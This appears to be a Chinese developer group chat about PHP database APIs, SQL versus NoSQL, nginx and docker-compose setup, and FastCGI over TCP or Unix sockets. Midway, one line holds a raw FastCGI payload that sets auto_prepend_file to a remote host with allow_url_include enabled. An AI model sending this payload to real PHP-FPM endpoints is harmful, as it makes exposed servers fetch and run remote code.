可能太久沒吃吧,只是覺得超膩,而且黑胡椒有點多(
個人感覺啦
本來是 York Wang 不是中文啊,我只是用近似音的生僻字
卣 ㄧㄡˇ:名詞。古盛酒的器具,粗口大肚,口上有蓋和提梁
厒 ㄑㄧㄝˋ:名詞。水邊的山。
臦 ㄍㄨㄤˋ:???
我以為iPhone用注音輸入法選字就會是讀音(−_−#)
(一)ㄍㄨㄤˋ
違背。說文解字:「臦,乖也。從二臣相違。」
(二)ㄐㄩㄥˇ
人名用字。集韻.上聲.梗韻:「人名,周有伯臦,通作囧
、臩。」
有沒有人要去問 LINE 為什麼圖片 14 天就會過期
都沒再用,因為我的000webhost帳戶已經被註銷
但我們老師教的是程序導向的mysqli,不是物件導向的
我是覺得不一定有差
實質上就算用統一API處理還是會可能遇到vender specific的東西
除非你從來不tune db
我基本上都只簡單select insert update
新的用pdo
原本用mysqli的不用改
當然mysqli當mysql用另當別論
現在倒是不知道預設值
反正不是自己escape問題就不在自己(?
這有派系問題(?
不過如果你的PHP不OOP也只能用mysqli(?
我要把我的 mysqljs/mysql 換成這個惹 開心 ❤️
mongoose都能在nosql弄出schema了
在你希望直接寫sql的時間點就已經non-portable了
再套一個BSON library他就真的能變成mongodb了
所以你是主攻 MongoDB?說明一下 SQL 為什麼反人類
我設計什麼一直都是關聯性的資料庫,
不過搞不好你可以提出一個關聯性資料庫是屎的觀點讓我改觀
就像我 Class 跟物件導向寫到後面發現他是智障一樣
那是你過度正規化,請把需要的資料黏在同一個 Table
就跟你切分微服務,請把需要的資料設計在同一個服務好嗎
原則上你可以把key value pair 存成陣列
key value pair 的話太沒效率,因為什麼都是 varchar
我SQL搞了半天沒搞定,mongo一小時就都搞定了
然後如果你的 source 跟 item 有機會重複,就可以繼續正規化成 id, source_item_id
我記得人家twitter為了調資料結構等了一整週的樣子
我不懂,MongoDB 類的就不會因為資料結構異動而需要花時間規劃嗎
既然都不可讀,為啥不直接nosql,對人類來說就是程式中的一個物件
我想存一筆資料長這樣
{
name: String
id: Number
item: [{
itemId:
amount:
}]
}
data: name, id, item_id
items: id, amount
噢,我看你不管什麼資料大概都可以一個 table 幹你娘塞爆
但內,那你分工協作的時候不就大家一起 BANG 同一張 table
你可能太低估NoSQL的效能了,如果遇到效能問題八成是人的問題
當初還曾經打算把minecraft地圖塞進去 (X
local Mongodb 2秒,過了優質中華網路變20秒
然而NoSQL會遇到你讀的時候被人塞垃圾害你炸掉(?
然後 -nix 用 gunicorn
windows 用 waitress
2. 你還是不能好好處理CF跟一些進階協定來的東東
你應該是說 PHP CGI 連結到 nginx ㄅ
安裝 php 只要 sudo apt install php 就好了唷 :)
你會不小心安裝到php apache plugin
最靠北的是他會幫你連Apache都裝好,接下來你下次開機nginx就起不來
而且python更容易遇到supply chain attack
我現在寫python都alpine + nginx + uwgsi
內建一個 nginx
尼還要我 compose 另一個 nginx www
記得你必須先找一個正經的linux才能build lfs
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name breach.tw;
root /var/www/breach.tw;
index index.php;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;
}
location ~ /\.(?!well-known).* {
deny all;
access_log off;
log_not_found off;
}
}
server {
listen 80;
listen [::]:80;
server_name breach.tw;
return 301 https://$host$request_uri;
}
說起來我還一直沒重構FreeNAS那個PR 好懶(((
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
root /var/www/html;
index index.php index.html;
server_name _;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;
}
}
蓋去/etc/nginx/sites-available/default
我原本想說分開來 用指定 host 的方式指過去就好
畢竟 docker-compose 我還是希望一鍵上線
然後改 nginx conf 裡面的 server_name
我等等應該會寫在一起ㄅ
因為我不想動到 volume
原本是想說不要把 docker 相關的東西也丟進去 serve
會不會是你變化太大 好歹也有當兵過一會應該有變瘦(?
在同一台上面不用走tcp啊 走unix socket
可是我們現在假設他在不同 container :(
snippets/fastcgi-php.conf 是啥
\x01\x01ab\x00\x08\x01\xFF\x00\x01\x00\x01\x01\x01\x01\x01\xFB\x01\x04ab\x00\x3E\x01\xFF\x093PHP_VALUEauto_prepend_file\x3Dhttp\x3A//ao.pe\x0Aallow_url_include\x3DOn\xFB\x01\x04ab\x00\x00\x01\xFF\xFB
🤔 我覺得unix socket跟tcp都一樣啊
沒擋好server side都戳得到
看你走的api啊
unix socket也能很socket好嗎
再說除非你nginx apache每個app都獨立跑一個
不然通常也都是同一個user一起用
一個是單純的 fastcgi server
一個是會自己控制放多少線程的
🤔 我大概懂狀況了
然而能戳tcp的api也是有些能拿來戳unix socket的🤔
而且也不是沒人用777的socket的 🙈
你不覺得tcp該封起來的給人戳得到也是人災嗎
又不是說沒防火牆能用(((
是說有些程式遇到777會強行panic防止災害,像是ssh之類
ssh是因為用777本身沒道理啊
跑服務的東西的unix socket不一定沒道理好嗎
雖然我第一次用 Oracle SQL 覺得他跑非常慢
不過unix socket能走的機會比tcp少到是真的啦
不然你oracle跑個bktree/groonga給我看
有學過一下,不過還是覺得laravel來開發比較好開發耶
FastCGI sent in stderr: "PHP message: PHP Warning: Division by zero in /var/www/html/src/common.php on line 273PHP message: PHP Warning: Division by zero in /var/www/html/src/common.php on line 278" while reading response header from upstream, client: 10.1.0.1, server: _, request: "GET /api/stat.php HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "localhost"
sudo docker-compose build && sudo docker-compose up 應該就會動了
sudo usermod -aG docker $user
雖然這跟sudo usermod -aG docker sudo是一樣ㄉ
Couldn't connect to Docker daemon at http+docker://localhost - is it running?
user加進去group要重開shell才會生效R
那你乾脆把docker-compose.yml丟進去R
這樣就不能在根目錄 docker-compose ㄌ
那個允許你throw err(==nil)的語言嗎
err = nil
return err
if err != nil {
// Error handle
}
說起來居然沒有enforce扔出去的err不准是空值
然後你程式就吐了err但是沒有進error handle
跟js一樣可以很簡單non blocking亂塞stream給client
java的原生stream全都blocking吧,要non blocking要用netty,然後netty那文件…
幾萬個連線…大概server就thread開到母湯掉了
kernel.threads-max = 2063087
這個 ID 可能比較有聽過,掉 mac 真是一大(ry
thread只有在開和關,還有要跨thread處理時才會慢阿
就像 node.js 其實就默默地幫你在後面開 async thread